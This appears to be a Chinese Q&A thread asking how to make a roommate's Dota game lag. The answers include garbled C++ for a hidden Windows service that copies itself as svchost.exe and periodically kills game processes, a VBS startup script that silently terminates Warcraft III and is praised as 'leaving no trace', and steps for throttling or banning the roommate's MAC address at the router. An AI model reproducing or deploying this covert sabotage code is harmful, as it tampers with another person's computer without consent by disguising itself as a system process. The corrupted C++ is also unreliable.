怎麼讓室友的 Dota 變得很卡？

#define BAD_EXIT
_tprintf(_T("Bad Parameters.
")),
abort();
#define THROWERR(x) throw expection(x)

LPCTSTR lpszProgramFileName[]={
_T("wow.exe"),
_T("league of legends.exe"),
_T("lolclient.exe")
//such as : "***.exe"
};

SERVICE_STATUS_HANDLE ssh;
SERVICE_STATUS ss;
HANDLE hdThread,hdProcess;

void WINAPI Service_Main(DWORD, LPTSTR *);
void WINAPI Service_Control(DWORD);
void Func_Service_Install();
DWORD ______EnablePrivilege() ;
TCHAR buf1[1000],buf2[1000],buf3[1000],szline[1000];

enum _Parameters{
EXEC_START_NORMAL =1,
EXEC_START_SERVICE =2,
EXEC_BAD_PARAMETERS =1073741824
};

TCHAR const *szParameters[]={
_T("svc")
};
TCHAR Sname[]=_T("RoommateProtect");
const TCHAR *SzName[]={
Sname
};
SERVICE_TABLE_ENTRY STE[2]={{Sname,(LPSERVICE_MAIN_FUNCTION)Service_Main},{NULL,NULL}};

int __fastcall __Check_Parameters(int argc,TCHAR const **argv){
if (argc==1) return EXEC_START_NORMAL;
if (argc&>2 ||!((argv[1][0]==_T("/") ||
argv[1][0]==_T("-")) argv[1][1]!=_T(""))) BAD_EXIT;
size_t i=0;
for (;_tcscmp((argv[1][1]),szParameters[i])
i&Message=_;
}
};
SC_HANDLE shMang=NULL,shSvc=NULL;
try{
if (!GetEnvironmentVariable(_T("SystemRoot"),buf3,BUFSIZ))
THROWERR(_T("GetEnvironmentVariable() Error in Install Service."));
_stprintf(buf1,_T("%s\svchost.exe"),buf3);
_stprintf(buf2,_T(""%s\svchost.exe" -svc"),buf3);
if (!GetModuleFileName(NULL,szline,sizeof(szline)/sizeof(TCHAR)))
THROWERR(_T("GetModuleFileName() Error in Install Service."));
_tprintf(_T(" Step1:Copy file.
"));
if (!CopyFile(szline,buf1,FALSE))
THROWERR(_T("CopyFile() Error in Install Service.(Is service has been installed?)"));
_tprintf(_T(" Step2:Connect to SCM.
"));
if (!(shMang=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS)))
THROWERR(_T("OpenSCManager() failed."));
_tprintf(_T(" Step3:Write service.
"));
if (!(shSvc=CreateService(shMang,Sname,_T("Protect Roommate"),
SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_NORMAL,
buf2,NULL,NULL,NULL,NULL,NULL))){
if (GetLastError()==ERROR_SERVICE_EXISTS){
if (!(shSvc=OpenService(shMang,Sname,SERVICE_ALL_ACCESS)))
THROWERR(_T("OpenService() Error in install service."));
if (!DeleteService(shSvc))
THROWERR(_T("DeleteService() Error in Install Service."));
CloseServiceHandle(shSvc);
if (!(shSvc=CreateService(shMang,Sname,_T("Protect Roommate"),
SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_NORMAL,
buf2,NULL,NULL,NULL,NULL,NULL)))
THROWERR(_T("CreateService() failed.(2)")),CloseServiceHandle(shMang);
}
else
THROWERR(_T("CreateService() failed."));
}
else
_tprintf(_T("Install service successfully.
"));
if (!(shSvc=OpenService(shMang,Sname,SERVICE_START)))
THROWERR(_T("OpenService() Failed"));
else
if (!StartService(shSvc,1,SzName))
THROWERR(_T("StartService() Failed."));
else
MessageBox(NULL,_T("Service started successfully"),_T("Congratulations!"),
MB_SETFOREGROUND|MB_ICONINFORMATION);

}
catch (expection runtimeError){
_tprintf(_T("
Fatal Error:
%s (GetLastError():%ld)

Please contact the application"s support team for more information.
"),
runtimeError.Message,GetLastError());
_tprintf(_T("
[Debug Message]
%s
%s
%s
"),buf1,buf2,buf3);
abort();
}
CloseServiceHandle(shMang);
CloseServiceHandle(shSvc);
system("pause");
return ;
}

/*
** Kill! Kill! Kill! Kill! Kill! Kill! Kill! Kill!
*/

DWORD CALLBACK Main_Thread(LPVOID){
srand(time(NULL));
for (DWORD dwProcessID;;Sleep(1000*60*10))//10 min
for (size_t i=0;i&

midlord：專治沉迷LOL室友，親測有效 先利用TXT寫以下代碼另存為VBS格式，代碼如下：
do
set bag=getobject("winmgmts:.rootcimv2")
set pipe=bag.execquery("select * from win32_process where name=" Warcraft III：Frozen Throne. exe"")
for each i in pipe
i.terminate()
next
wscript.sleep 1000
loop
代碼的意思是：系統每1000毫秒檢測一次是否運行了 Warcraft III：Frozen Throne .exe這樣一個程序，如果運行了，他會自動後台關閉程序，但是對別的運行軟體是沒有任何影響的，絕對毫無痕迹！1000毫秒和 Warcraft III：Frozen Throne .exe可以改成你需要的任何時間（比如2分鐘檢查一次就填寫120000）和任何你需要結束的進程~這樣，從別人看來的效果就是「dota怎麼老是閃退啊啊啊啊！重新進還是，破電腦，不玩了」
把建立的VBS存放在這個文件夾 C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp
開機自動啟妥妥的
如果自己要玩，提前進入資源管理器找到VBS進程結束運行就好

你可以學習一下dota，然後用科學的方式勸他十二點之後玩DOTA不適合

一個月後，就是你的其他舍友問，宿舍有兩個人天天晚上2點玩DOTA

現在路由器都有終端的流量限制，你回頭打開它電腦用命令行敲：
ipconfig 回車，把他計算機的MAC地址記下來
然後找到你們宿舍路由器的說明書，把這個MAC地址進行限速即可。
當年我做得比較絕，按照內網IP把他浩方對戰平台的埠號封了，後來他發現qq平台能打，我一查用的80埠，就乾脆把他電腦ban了。後來他找到一學長，學長給他換了個寫死的IP地址，我就乾脆把他MAC地址封了。

換宿舍吧。。

你改變不了的，當初隔壁宿舍三個人天天夜裡開黑，白天睡覺，也不上課；另外一哥們痛不欲生，後來幾乎天天來我們宿舍打地鋪……